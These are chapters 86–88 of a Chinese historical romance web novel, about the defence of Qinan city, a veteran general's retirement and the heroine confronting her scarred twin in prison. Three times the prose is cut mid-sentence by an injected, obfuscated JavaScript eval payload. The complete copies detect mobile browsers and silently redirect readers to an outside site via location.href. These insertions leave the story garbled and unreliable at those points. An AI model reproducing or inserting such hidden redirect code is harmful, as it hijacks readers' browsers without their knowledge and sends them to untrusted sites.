他总是这般固执,这般不拿自己的命当命。 许久,霍青青才静下心来。 算算时日,粮草应当不日便到。 顾衍…… 她抬起手遮住眼睛,挡去天光,容她小眠一阵儿吧,待晚些,还需去守着将离。 这一睡便是一个时辰过去,等她再醒已是夜里。 她刚踏出门,霍十一就送来一碗白粥。 “姑娘,先吃些吧。” 霍青青接过朝他笑笑:“将离如何了?他旧伤未愈又添新伤,当真是不要命了,往后得看好他。” 霍十一看着她喝完粥才道:“还在昏睡,方才发热消下去了。” “姑娘,药快没了。” “药……”霍青青喃喃一句,只觉脑中混沌起来,她轻轻喘息一声:“快了……让他们再等等。” “青青。”霍十一伸手将她扶住,一时乱了分寸。 “没什么。”霍青青借他的手重新站稳:“没事、没事的。” 她抬起头,勉强笑道:“别声张,我没事,我上药了。再等等,粮草便该到了,你先让阿浔带人守着。” 霍十一看着她的背影,垂眸看着自己的手,手上是……粘腻的……血。 他颤抖着将手握紧,他早该知道,姑娘今日里为救雁将离杀入阵中,她不是什么一人挡万军的人,她会痛会受伤。 可她从来都是这般……什么都不说,什么都扛着。 霍十一踹开门踏进屋子里,他蹲下身捡起地上散落的几页纸。听着她的声音轻飘飘的落在他耳中:“十一,下去吧,我要休息了。” 霍十一的手收紧,宣纸被他揉皱,许久,他站起身道了句:“是。” 等到他将门带上,霍青青才扯下自己的衣衫,露出血肉翻卷的刀口。刀口跟衣服粘连着,疼得她倒吸一口气。 她将金创药洒上去,屋中登时响起压抑的喘息声。 已许久,没这般痛过了。 霍青青将伤口胡乱包扎好,又换上一件新衣才松了一口气。 如今将离伤上加伤,一时昏睡过去,她便不能倒下了。 …… 左裘吃了这个大亏又消停许多,祁南城岌岌可危,他不会放过这个机会。 粮草到时,已又是三日后了。 霍青青昏昏沉沉地自榻上爬起一路行至城楼下。 赵枢见她来,微抬了下巴:“青青,他非要跟来。” 霍青青看去,桃花眼带了几分笑意:“顾三。” “霍姑娘为何要骗我?”顾三还是如那时一般抱着他的剑。 他看过来的眼中带着探究,霍青青坦然道:“我何时骗你?我是淮月,但淮月又非我,顾三,救你的应当不是我。” “那是谁?” 霍青青笑而不语,召人取来她的破甲锥上了城楼。 城楼上的风让她清醒许多,好在,随行而来的还有医老,药草、金创药也都齐备了。 只是将离,怕是当真要好好养着了。 城楼上站得久了也冷,霍青青微微活动了下身子,便有人替她披上厚实的披风。 “十一?不是让你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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霍青青冷脸将破甲锥扎入敌军胸膛,将敌军从城墙上扔下去。 今日的南羌军像是疯了一般攻城,又一轮过去时,霍青青只觉眼前发黑。 若是再这般下去,这一轮攻城怕是撑不过去。 雁将离抬手时,底下城门终是被破开。 数万敌军杀进城中,同兵士杀成一片。 许多人不多时便杀红了眼, 忽一阵喧嚣起,有一队人马自南羌军后方杀来。 为首一人银甲灼灼,二十出头的模样,握着一杆素色长枪搅乱南羌军军阵。 另有一人玄衣翻飞,乘一匹黑马于阵中厮杀。他斩落数个人头,一点点往祁南城城门靠近。 霍青青又将一人挑下城楼,一眼便瞧见城楼下与左裘厮打在一起的那人。 银亮的刀光里,有人朝他袭去。 箭…… 霍青青胡乱抢过一把弓箭,拉开又放下。 她射不准,若是伤了他…… 若是伤了他…… 血,好多血。 霍青青握住弓的手在发抖,许久又勉力拉开。 顾衍被几人缠住一时脱不开身,赵亓也被团团围住腾不出手助他。余光里,他瞥见城楼上一抹青影。 “青青!”顾衍厉喝一声,挡开一刀。 眼见又是一刀将落下,他被逼至绝境,左裘的枪朝着他面门袭来。 霍十一砍落朝着霍青青挥刀的南羌军,站在她身后轻声道:“姑娘,是顾衍。” 霍青青闭目,只片刻又睁开,终是再拉开弓。 细长的羽箭带着一点银芒破空而去,直直穿透进左裘颈侧。 顾衍扛下袭来的刀,借机将左裘的头颅斩下。赵亓的长/枪挑死南羌副将,斩了将旗提了他的人头高喝:“南羌二将已死,降者不杀!” 86.再回首 沙尘歇下来,赵枢站在城关上遥遥朝着赵亓一拱手。 赵亓扬起手中那副将人头给他瞧。 随后便捡起地上被马蹄踏过的南羌将旗别在腰间翻身上马。 他长枪出锋,遥指前方丢盔弃甲的南羌北蛮两方人马率兵追去。 雁将离欲跳下城墙,被霍青青先手一拦。 “谁让你去的。”霍青青睨了他一眼。 兰浔紫衣上沾了血,她嗅着干涸的血腥味儿直皱眉:“小青儿,等回去我要新衣服。” “阿浔,你把他给我看好了。” 说罢,霍青青自城关上一跃而下,一声哨响,飞雪踏尘而来。她反手握住缰绳翻上马背纵马而去。 白沙烟尘里,她青衣银甲开出一条路来,手中破甲锥带起灼灼锋芒。 一匹黑马紧随其后,不多时便追上去同她并肩。 “你果真不去?”兰浔抱着被撕裂染了血污尘土的紫绫站在雁将离身侧,随他一起看着那方大军踏出的滚滚白沙。 那方有广阔天地,会是小青儿为大煜辟出的大道。 雁将离抱着他的枪,转身下了城墙。 祁南城,退南羌。 白沙关,共明月。 兰浔换上干净衣物,在城关之上点起一处火焰,将残破的紫绫烧了个干净。 她的紫绫脏了断了,小青儿总会给她买许多新的,她有穿不完的漂亮衣服用不完的紫绫。 她家小青儿最好了。 等那堆紫绫变成灰烬,兰浔灭了火站起身。 祁南城寒风还是冷,好在天空通透干净。 此一战,南羌北蛮,都能消停许多了。大煜版图会往南北再扩好些。 这是小青儿所愿,只可惜,她如今才打下来。 兰浔伸了个懒腰活动着筋骨,一转头便看到了靠在一旁站着的林豫。 这人她是有印象的,林阁老的孙子嘛。 “还站着做甚?歇着去吧。这地方自有人来收拾。” “我……”林豫张口又合上,咽下去一口血才又开口道:“青青妹妹,是淮月将军?” “哎呀,就问这个啊?”兰浔掩口轻笑:“有那么重要吗?她是淮月也非淮月,可淮月却始终非她。” “这些事,纠纠缠缠真真假假,何必要知晓得这般清楚呢?” “可他们说……淮月已叛,为何?” 林豫还是想问。因着淮月将军在锋锐骑中声望极高,人人都说淮月破甲锥乃是南羌噩梦。为南羌铁骑而练的武器,若淮月当真是青青,又何来叛? 他来时,有人说着淮月将军千里奔袭直袭敌营的往事,后来偶然知晓是淮月叛出递了假军报致使白沙关失守。 青青养在南方庄子,后面才回京都,又何来千里奔袭退南羌? 兰浔闻言只笑笑:“你是林阁老的孙子吧。叫……林豫?” 林豫一震,拍拍胸口:“我如今已是锋锐骑中校尉!” “行。那林校尉,此次御敌有功,待回去京都,应当又能升官了。”兰浔立在墙头,干净的紫衣迎风。 城头凛冽冬风卷起她腰间错金腰带,她又看着那方,宽袖一展,如鸟雀下坠。 林豫几步上前撑在青石边缘,看着那一袭紫衣广袖一个回转稳稳落在一匹战马背上,战马嘶鸣一声踏尘而去。 今日的祁南城,是晴日,傍晚那轮红日落了半边。 大军已去,白沙落下。 天地之间似是只余下枯树寒鸦,还有地上累累尸骨。 血肉铺出那条大道,一路往南延伸。 林豫独自一人在城墙上站了许久,他也至弱冠了,终于能告诉他爷爷,他在军中已有功绩。 锋锐骑军中人,似是人人都像雁将军和淮月将军,悍不畏死,一勇无前。 他来锋锐骑军中,大抵是他这一辈子做得最对的事。 他终于知道什么叫边关风骨。 他那青青妹妹,兰浔会叫小青儿,别人会尊一句霍楼主,到得锋锐骑中,人人都称——淮月将军。 他虽不及,却也无畏。 海晏河清,百姓长宁。 此后亦会一往无前,成为自己心中那个林豫。 他是锋锐骑军中校尉——林豫。 …… 京都之中,有人一袭戎装,立在宫门前。 守门的御林军一惊,再仔细看去,竟是须发皆白的老将。 徐从风! 是前朝虎将、如今的大将军,曾一人横枪守国门斩叛臣的徐从风。 “末将徐从风,求见圣上,还不快开门?” 纵然他已年逾古稀,却仍是挺直了肩背不见老态。一袭戎装,背上似是横背着一把重物。 “是、是。”守门的御林军忙不迭给他开了宫门,迎他入内。 明顺帝端坐朝堂,听着前方捷报频传终是大笑道:“好啊!好!谁说我大煜无将?我儿赵亓,还有我那青丫头,雁将离霍清风,哪个不是将?” “霍卿,等青青他们回来,怕是喜上加喜了。” 霍承阳不置可否。 明顺帝自是知晓此事他怕是一时接受不来,遂轻咳一声:“未至双十,青青不也不嫁吗?霍卿莫担忧。” 他话刚落,就听外间唱道:“徐大将军觐见——” 朝堂上一时鸦雀无声。 直到甲胄铿锵声响彻,明顺帝才回过神来。 他看着须发皆白的老将,眼中微酸:“徐叔。” 徐从风手一抖,视线落在他面上,端详好一阵才敛目低下头去。 他取下背上负着,用黑布裹好的物件,呈至他面前。 “此,便是当年先帝赐我的尚方宝剑。上斩昏君下斩逆臣。臣来迟一步,未能用它斩逆臣,那便交予皇上,赐给可赐之人吧。” 尚方宝剑金亮,在他手中锋芒如旧。 明顺帝未敢接,他看着幼时同霍太傅一起教导自己的老将,心中一时五味杂陈。 “徐叔,是要卸甲?” 徐从风看着他,笑道:“臣已经老了,提不动枪上不了阵,不能再守着大煜了。” “皇上,如今你手下有良将,臣自然是该卸甲了。当年先帝予虎符,授宝剑,皆是为了大煜太平。” “如今国君如此,这柄宝剑,便不用斩君。” “虎符我已交给我那徒弟,日后,大煜兵马,便是三分。白沙关有雁将离领锋锐骑,滏南关霍清风领青骑,我那徒弟赵亓便掌大煜军。” “臣有罪,未能早些出兵相助,还请皇上降罪吧。” 徐从风跪伏在地上,惊得明顺帝自龙椅上站起,他忙行至他面前将他搀扶起来。 “徐叔,我都这般叫你了,你都不肯再叫我一声小子。”明顺帝苦笑着,将徐从风扶稳:“若非青青相助,凭我们国库里那点银钱,又怎能如此快就筹到粮草?” “打仗劳民伤财,你我都不愿看到。二十万大军拔营,动趋万石,徐叔,你是不是早就存了若当真打进来便力保皇城的心思?” 徐从风只叹了一声不语。 明顺帝捧起尚方宝剑握住剑柄拔出,银亮剑刃上映出他的模样,他看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742732|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己那张已有老态的脸半晌。 “那便,赐予霍卿,亦可斩昏君除逆臣。” “小子,这个皇位你且好好坐着。我那老伙计既养了儿子护你,又养出个孙女儿护国,我便要回了封地颐养天年了。” “等有朝一日,去地下见我兄弟,我会告诉他,如今大煜海晏河清。他的儿子是明君,有忠臣护国,大煜便会千秋万代。” “将士啊,马革裹尸马革裹尸。还请皇上好好葬之,莫负……一腔热血忠魂骨。” “小子记下了。” “好啊……好啊……今日老朽前来,将军卸甲。”徐从风步履蹒跚,走出大殿。 他迎着外间天光,一步一步,走得坚定沉稳。 甲胄的铿锵声响,悠远绵长,从殿中至大殿之外,久久难消。 百姓长宁,老将卸甲。 朝堂,该换上新的血脉。 听闻霍家还收了个门生,名唤元辰,如今也已官至五品。 若要说这元辰,本是淇河南宫氏门生,他曾为给家师翻案,行过千里遭过劫杀,他说他不怕死,就是死也要还家师一个公道。 有人说淇河南宫氏,有元辰这般门生,是福气。 如今淇河士人风骨南宫氏,祠堂有人祭。 淇河风雅齐家门庭若市,许多人都前去拜会,一如当初。 而青州学宫之中,待明年四月,又该招一批新学子。 不问出身,不问门庭。 青州学宫林阁老和陈阁老总说,他们教过霍家青青,就是那个国难当头披甲上阵,握着破甲锥守下祁南城的女将。还教出一个锋锐骑军中悍不畏死的校尉林豫。 等赵亓凯旋归来时,他拉了缰绳,让出一条道。 雁将离纵马而行,几步追上前面的霍青青。 顾衍眉一挑,拍拍破月脖子:“你,去追。” 破月打了个响鼻,赶忙追上去挤开听雪。 伍行在后边啧啧几声,压低声音同兰浔说话。 “你瞧我家那顾大人,是不是跟得有点太紧了?” 兰浔瞥他一眼,扬鞭打马,冲上前去把顾衍和雁将离都挤开。 伍行唇角一抽,得,回头顾大人莫找他麻烦就成。 “林豫,怎么着?近乡情怯啊?”霍七落在他们身后闲散漫步,见着林豫像是没了阵前勇气还带些胆怯不由开口笑话他。 林豫苦笑一声:“我两年多未见爷爷了,还当真怕得很。” “我还当什么……”霍七一手握住他的剑,一手拍拍林豫的肩:“天塌下来有我们家楼主顶着,怕什么?再说,你这叫凯旋而归,你那爷爷怎会骂你?” 说罢,他也纵马追上去,把雁将离跟顾衍往后又挤了一段。 两边百姓多,街上窄,顾衍一时气又没法。 霍青青瞧他一眼,桃花眼弯了弯,递给他一个笑。 顾衍握着缰绳的手微紧,觉得心头微烫,耳垂也烫。 伍行落在后面看稀奇,没敢再乱说话。 说来,那些江湖中人说不想再去朝堂杵着,早各自散了去。唯有兰浔和霍七做个样子。 还说晚些京中若是摆酒,让他们来喝,他们才应下来。 这些江湖人,一没了霍姑娘牵制,就散漫得很。 伍行吹了声口哨,打马跟上队伍。 可惜了,宋无忧没上战场,没瞧见霍姑娘拿破甲锥杀敌那架势。 不过他留在京中,又是顾大人亲信,便也提早收了顾大人的信,替他搜罗提亲的聘礼。 也不知……筹备得如何了。 87.我所愿 雁将离在宫门前勒马,踌躇许久,听雪刨着地面似是不耐烦起来。 他伸手安抚它,等到霍青青纵着飞雪过来,拿破甲锥放在听雪背上:“听雪,走。” 听雪伸头蹭蹭飞雪,才载着雁将离踏进宫门。 顾衍这才逮着机会行至霍青青身侧:“别担心。归来行了这么些时日,也未传信收兵权,雁将离无碍。” 霍青青点头:“顾大人憋了这一路,想同我说什么?” “待晚些出来,再同霍姑娘说。”顾衍笑笑,翻下马背,伸手把她也接下。 大殿之上,明顺帝看着底下呈上锋锐骑将印的雁将离。 “我且问你,你守什么?” 雁将离抬起头来,依旧如上次那般不卑不亢:“我守青青,守大煜。” 他呈上一纸和书,是南羌王廷所递:“我同青青杀至南羌王廷,南羌王递上求和书,想同大煜谈和。” 明顺帝只怕是早已料到,抬手让福公公取了和书,略翻了翻。 “也罢,大动干戈,伤的也是两方百姓。既然南羌王愿意割让这十座城池,便也算得有诚意。” “雁将离,我若命你永守白沙关,你愿不愿?” 雁将离拱手,唇角带笑:“我说了不算,我亦不愿。” 满朝哗然,明顺帝面色瞬间难看起来。 “我愿交兵权,此后居于京都。若有战事,我再披挂上阵。如今,二皇子已能担将领,不若将锋锐骑再并回大煜军中,让他一并领了。” “皇上,末将想在京都住下,在大煜四处走走。” 霍青青见他看过来,不由浅笑道:“皇伯伯,这般也好。将离守白沙关守了这么些年,也累了。让他多在大煜中走走散散心也好。” “如今南羌已破,余下的便只剩北蛮。我哥前日来报,不日凯旋。海晏河清,大煜有将,只待我哥回来,便可摆下庆功宴,守我大煜永昌。” 大殿上,她的声音回响,再无一人反驳。 霍青青环视一周,眉眼含笑:“诸位,可有异议?” 明顺帝瞧着她这般耀武扬威也未制止。霍家青青如今不敛锋芒,似出锋宝剑般,哪有人敢撞上锋刃? 霍家人,当真不可小觑。好在,霍家一身忠骨,乃是大煜脊梁。 “既无人有异议,那便如雁将离所说,锋锐骑归于大煜军中,由赵亓接任大煜军大将军。” 赵亓戎装未卸:“儿臣领命。” 一应封赏下来,霍青青封无可封,她便给来助阵的江湖中人要了御酒佳肴。明顺帝欣然应允。 等下了朝,明顺帝将霍青青召至御书房,见他严肃模样霍青青还当是别的什么,还未开口就听着明顺帝为难道:“青青啊,这一战国库中着实空了。” 霍青青了然,笑道:“那皇伯伯尽管吩咐人采买,至于银两,交给我。就当是我请大家赴宴了。” “朕就知青青最是通情达理。”明顺帝连连感慨,又想起什么叫住她:“这些个人,青青,你还是挑顾衍?” 霍青青一顿,无奈道:“皇伯伯,你怎的也问这个?” “这不是为了你着想嘛,再说你家,你爹,还有你那爷爷,可都盯着朕。若不给挑个好的,我都怕他们找朕麻烦了。” 他说得在理,霍青青便也没拆穿,她眼眸微弯,笑道:“顾大人长得好看,皇伯伯认为如何?” “这倒是实话。”明顺帝也笑起来:“这些事朕就不掺和了,早些时候他想来请旨,可那时你也知晓,宋世荣未除朕不敢放。” “况且,他说了不算,要霍家青青说了才算。” “那就请皇伯伯赐个旨罢。” “那得等朕同你爹再说说,挑个良辰吉日,这般才好。” “行了,你也该去同雁将离他们说说话了,我这老头子一个,就不再霸着他们的宝不放了。” “皇伯伯惯爱说笑。”霍青青瞧着外间似是站着人,同明顺帝行了一礼:“那臣女便先退下了。” “去吧,他们等你太久了。” “多谢皇伯伯。”霍青青又是一礼。 明顺帝摆摆手,独自一人坐在御书房,靠在桌案上撑着头。 齐小婉进来替他揉着太阳穴,轻声道:“可惜了,青青那丫头偏生看上了顾衍。臣妾还说正巧亓儿回来,枢儿又有了功绩,让他们同青青再养养,瞧瞧能不能把青青给接进宫。” “那俩小子啊……”明顺帝闭着眼,轻轻往后靠了靠:“雁将离霍清风那俩小子青青都没瞧上,莫说他们了。” “皇上可真是胳膊肘往外拐。亓儿如今是大将军了,枢儿也治国有方。” “雁将离被那贺乾折腾得差点死了都能再爬起来,一路爬到锋锐骑大将军的位置。再说那霍清风,亦是如此。霍家并未助力,全是他们拼着命自己挣来的。” 齐小婉放下心来,低声问:“那皇上是认下雁将离了?” “我有个这样的侄子,不丢人。” “皇上还是心善。” 明顺帝长叹一口气:“不是我心善,是青青那丫头心善。” 半晌,他又觉得不甘心:“你说……霍承阳说青青未至双十不成婚,我们那俩儿子是不是还能试试?” “不然也太便宜顾衍了。” 齐小婉心知他不甘心,因着她也不甘心,青青是她看着长大的,这般好的姑娘着实不能就这样便宜了外人。 遂她答了一句:“皇上说的是。” …… 一众人出得宫门,兰浔赖在霍青青身边不肯走。 林豫思量许久,才向霍青青道别:“青青妹妹,如今得了封赏,我还得先回青州见我爷爷。要待庆功宴时再同你喝酒了。” “好啊。”霍青青将兰浔搂住,眼眸弯弯,颊上笑出个漂亮的梨涡:“如今也该叫豫哥一声林将军了。” “别,不敢当。”林豫连连摆手,他翻上马背:“霍将军是化雨为水,才称淮月罢。” 霍青青一愣,林豫趁这时候已打马飞奔。 “小青儿,玉楼春怕是堆了不少账和消息,我也得赶回去清理了,明日便走。”兰浔说着,看了旁边蠢蠢欲动的顾衍一眼,同她耳语:“小青儿,你也当心些,我看着顾衍……不像好人呐……” 她话音刚落,就被顾衍横来一把绣春刀把她跟霍青青隔开些许。 “兰楼主,你且小声些,本官能听到。” “真是好大的官威啊,顾大人。”兰浔哼了声,一把搂住霍青青,在她脸上“吧唧”亲了一口留下一个红口脂印子,朝着顾衍挑衅:“你要是再耍官威,我就把小青儿劫走,让莫天俞他们带着人堵你。” 顾衍一时沉默下去,只片刻便听见他那绣春刀“啪”一声出鞘又入鞘,随后他扬起一个笑脸道:“哦?那兰楼主且试试能不能出得这城门。” “嘶……小青儿,我背后有些冷,怕是要先走了。”兰浔一抖,也策马而去。 雁将离打马过来,玄甲玄枪,那枪杆一转,落在霍青青面前,他笑道:“那我去散散心,晚些等你回府,同霍大人他们一起吃些。我总记得他们爱喝酒,今日正好喝个痛快。” 霍七看看辰砂看看锦屏又看看霍十一,总觉得楼主身边人多得挤不下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749957|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾衍策马到霍青青身边,霍青青看他一眼:“顾大人想说什么这时可以说了。” “霍姑娘,你靠近些我告诉你。”顾衍神神秘秘的,待霍青青靠近些,他凑到她耳畔:“我想说……” 他一把将霍青青掠到自己马背上,一拍破月的背喝道:“破月,快跑!” 霍七一惊:“啊?” 他回头看了一眼霍十一和锦屏,见他们岿然不动,伸手指指顾衍跑去的那方:“就把楼主带走了?” 锦屏冷着脸骂了声:“他就这样不守规矩。” “姑娘没让拦,便不关我们的事了。”辰砂面上挂起一丝笑意,他早些留在京中还觉得未帮到姑娘,如今却觉得守住霍家,姑娘应当是高兴的。 他这模样不似作假。 霍七当即道:“行,那咱们就先回霍府等着今夜里吃点好的再睡个几天补补身子。” …… 雁将离骑着听雪,一路从城中行至郊外。 安好新的守城将领布置好守城的大煜军他们才回来的。他们一路向南至南羌王廷,回来时便已是这阳春三月了。 京郊的桃花开得好。 他一路行来身上落了许多花瓣。 青青说郊外有山寺,他也见着一条羊肠小道蜿蜒向山腰,他顺着这条小道走便见着一个寺庙。 门口有两个小沙弥在清扫,见有人来作了一揖:“施主,可是有事?” “没什么事,只是听闻有山寺,路过,来看看。” 沙弥见他戎装玄枪,也知是大煜军中人,又一揖道:“施主稍等片刻,待我去同住持说说。” “有劳。” 待沙弥回来便领他入寺。 雁将离玄枪留在门外,戎装不好拜佛,只在寺院中略走了走。 院中那树上叮叮当当挂了满树木牌,他握住垂落的红布条,顺着往上望去。 这一看就过了许久。 “施主,可是要许愿?”苍老的声音自他身后传来。 雁将离转身,见那住持面容慈祥,双手合十。 “嗯,许愿。” 他接过小沙弥递来的木牌和笔,在上面写下许多,写完了便自己跃上树去,挂在高些的枝干间。 “施主戎装未卸,本不该入寺。但为守家国,神佛定然不会怪罪。” “晚辈雁将离,曾听闻京郊山寺许愿灵验,今日恰巧路过,便来了。” “原来是雁施主。”住持笑着,将他带到供祈福灯的殿前:“霍施主早年来供牌位时同老衲说,她想给许多人供祈福灯。” 雁将离看着殿中错落灯火,微微后退一步,轻笑一声:“她总是这般心善。” “是啊,霍施主捐了许多香火钱,燃灯、接济百姓。”住持躬身往祈福灯里添香油:“雁施主,可是放下了?” “我不曾放下。”雁将离看着这方摇曳的灯火,抬起手,看着那火光自他指缝里流泻:“我曾不知为何还会活着,是有她在,我才想接着活下去,在这人间多走走。” “我守她,守大煜。” “她长乐长安,是我所愿。” 住持看着他的背影微微摇头,他明明将所有事都看透,找到了自己又未找到自己。 罢了…… …… 这方顾衍带着霍青青一路跑,踏过街道载着她一路到后方城门下。 他将霍青青一把抱下来,几个纵跃翻到城关最高处。 他捏上霍姑娘的下巴左瞧右瞧,总觉得她颊上兰浔留下的那个红印子不顺眼。盯了许久败下阵来。 “霍姑娘,你瞧瞧我几时来提亲?” 88.她此生 “可阿浔说,顾大人不像好人呐。”霍青青勾住他的衣襟把他拉近些。 顾衍的一手撑在砖瓦上一手将她搂住:“那霍姑娘听她的还是听我的?” “那劳什子本子上不也写顾大人是好夫婿?若不信我的,总得信百姓的。” 霍青青舒舒服服窝在他怀里,眼眸微眯像只猫儿,她把玩着他垂落的一缕发,懒散得很。 好在回来时他们走得慢,今日回来,也早养足了精神,否则这个时辰,她非睡过去不可。 “是不是不喜欢了?”顾衍的声音低落下去,眉目低垂。 “顾大人就这么瞧不起你自己?” 她的话似是惊醒了顾衍,看着他抬起头来怔怔地看着她。 “我……” 霍青青捧起他的脸,离得越发近,一个轻飘飘的吻落在他眉心。 “我之前就说雇顾大人当打手兼任下饭菜,如今顾大人可是旷工好些日子了。” 她眼中带着笑意,摩挲过他的唇畔,捏住他的下巴:“不若七日后便重新上门履职,顾大人意下如何?” 顾衍点点头:“自是听霍姑娘的。” “可……”顾衍神色复杂:“可霍大人怕是得把我打出来。” “到时,还望霍姑娘搭救。” 他箍着她的腰,唇齿落在她脖颈上,含糊着问道:“诏狱那人,便是霍无双?” “是啊,是无双。”霍青青觉得痒,将他推开些,自他怀里挣出来站起身:“顾大人若是无事,待再歇歇便随我一同去诏狱罢。” “如今战事已平,我还有许多事要问她。” …… 时日过得快,一晃便到了顾衍上门来的日子。 果不其然,他还没踏进霍府,就被守着的门房连带辰砂拦在外边,打了一番好的。 打了半晌,他一个翻身跃上墙头,在围墙上边飞檐走壁,最后落进霍青青的院子里。 霍承阳正好坐在院中同霍青青说了好些话,正撩了衣摆要走就撞见从院墙翻进来的顾衍。 顾衍僵住,转头望向霍青青。 霍青青从他眼中读出俩字:救我。 她伸手扯住自家爹的衣袖轻轻拉了拉:“爹,别同他一般计较了,他正门进不来,可不是只能翻墙么?” “再说……女儿可是花了银子雇他的,这银子可不能白花。” 霍承阳无法,只丢了一句晚些你们都来书房便拂袖走了。 …… 霍府书房内,霍承阳看着面前自己的闺女,又扫了一眼挨着她坐着的顾衍,心中直叹气。 罢了。 “青青,无双没死,你一直知晓为何不同我说?”霍承阳敛了笑意,面上严肃起来。 “那时,是无双不愿。”霍青青攥着自己的衣摆,将衣摆攥得打皱。 顾衍在桌子下悄悄握住她的手,扣住。 霍青青看他一眼,低下头:“她说留守边关护我家国也好,就当是偿了我娘救命之恩。” “我那时……便将功绩让给她了。她做淮月,我做霍家青青。” 书房里灯火斑驳,霍承阳久久不语。 “罢了,你去看看她吧……” 青青这般说,他哪里还想不明白。 罢了,好在,青青是淮月将军。好在青青跟雁将离守过白沙关。 可就是如此,青青之错,还是难消了。 霍承阳闭目,靠在椅背上不知说什么。 他只一拂袖:“下去吧,我还有话要同你娘说。” “是,青青告退。” 两人退出书房,霍青青反握住顾衍的手:“顾衍,我当年做错了事。” 顾衍另一只手搂住她的腰,一用力就将她抱起,他抱着她走在廊下。听着外间雨打树叶:“人的心剖出来都是红的,藏在胸腔里久了,也不知何时就会变黑。你拿不住,别人也拿不住。” “顾衍,我有好多事都没告诉你。” 霍青青趴在他肩头,半梦半醒地在他耳边说着话,一路从廊下到她的屋中,再到榻上。 伴着外间雨声,她说了好多好多。 她说她幼时,她说霍无双,她说江湖里,她说那时的兰浔。 从京都初雪说到白沙关明月。 她说许许多多的人和事。 她的故事里有高门大户花许多银两装腔作势,有饥荒时百姓为一个馒头打得头破血流。 有兰浔家中把她当成物件换钱的父母,也有百姓家中一家四口和和美美逛夜市做花灯。 她看过战乱时生灵涂炭,她不愿再看一次了。 许许多多的事,从她口中说出来,有的含糊不清有的带着哭腔。 最后她说,她还是要去看看无双,至少……在定罪问斩之前。 一夜的风雨里,顾衍听着她笑听着她哭,笑累了哭累了就趴在他胸口,任眼泪落下来。 …… 北镇抚司的诏狱中,血腥气弥漫着,地面的血从未洗干净过。 靠里的诏狱里关着一人,她一袭白衣,披头散发地抱膝靠坐在斑驳的墙壁上。 忽有一点声响,她身子轻颤,终是没有抬头。 那一点声响,是行走时玉石碰撞的声音。 叮叮当当的声音如清泉一般,在诏狱之中格外响亮。 牢房的门“吱呀”一声打开了,那青色的衣摆摇曳着落在她面前。 “霍无双。” 霍青青的声音,在诏狱里一点点扩散,她迟疑着就要蹲下身子,却被顾衍一拉。 顾衍看着她摇摇头。 霍青青唇角勾起一个笑,安抚地拍拍他的手背。 顾衍这才蹙着眉放开。 “霍无双。” 霍青青又叫了一声。 青色的衣摆曳地,她蹲下来伸手轻轻撩开她垂落的发。 许是突如其来的光亮惊动了霍无双,她瑟缩着身子往后躲。 “我……霍承阳,我告诉了霍承阳。” 霍青青强硬地抓住她的手腕,将她拉向自己。 霍无双散乱的发背拨开,那张疤痕交错的脸上是惊慌。 她眼中带着惧意,那双与霍青青一模一样的桃花眼中带着与霍青青截然不同的神色。 她看清来人,忽然愣住。 “青青……”她喃喃着,一点点伸出手将霍青青抱住。 “青青。” “青青……” 她一声声地叫,霍青青一声声地应。 诏狱里,她的声音回荡着,她把霍青青抱得更紧,在她肩头哭出来。 “为什么?” 霍青青问出声。 霍无双的声音戛然而止,她猛然将霍青青推开,怔怔地看着她。 “为什么?”霍无双低声重复了一句。 “为什么?” 她反复喃喃着,忽然一把拽住霍青青的手臂。 “青青!”顾衍绣春刀欲出却被霍青青按下。 霍青青喝道:“别动她!” 霍无双双目猩红,竟癫狂起来:“为什么?我们明明长得一样,你为什么就被人捧在手心千娇百宠,而我呢?顶着一张被划花的脸屈居边关,饱经风霜!” 她将霍青青拽倒在地,手死死嵌进她的手臂,她低下头,脸上纵横交错的伤痕跟着她的话语可怖起来。 她死死地看着霍青青,嘶吼出声:“为什么?我们明明长得一样,他们看我的时候却在看你!” 她的五指在霍青青手背抠出血痕:“我是你娘为了治你的病制出的药人,从那时起就没有了自己的人生。霍青青,可你呢?我为了你,受尽病痛折磨。为了你,我脸被划花,从此戴上面具。凭什么?凭什么他们一直在透过我看你?凭什么?凭什么!!!” 霍青青无言地沉默着,看着她那双跟自己一模一样的眼睛开始无力起来。 霍无双疯了一样掐住她的脖颈。 顾衍终于动了,带鞘的绣春刀一下打在霍无双肩头。 霍无双吃痛手下微松,顾衍一把拉起霍青青,慢慢将她搂住,让她靠在自己的胸膛上,一点一点安抚着。 他那双锐利的眼瞳攥住被他打伤的霍无双:“你还不明白吗?” “你每句话都说着你们长得一样,那仅仅只是长得一样。她因为愧疚,将自己的军功让给你,让你此后都能食朝庭奉禄,得军民敬仰。” “她因为愧疚,一而再再而三托雁将离照顾你。她因为愧疚,这些年四方寻药,自己明明身中蛊毒还要替你求药,她就为了给你治脸上的疤。”他说着,一个瓷瓶从霍青青袖中滑落下来,砸在女人面前,瞬间四分五裂。摔碎的瓷片飞溅起来划破了霍无双的脸。 霍无双双手颤抖着,捧起散落的白色药丸。 她嚅噎着,说不出一句话。 顾衍眼中带着嘲弄:“如果没有她,你早就死了。” 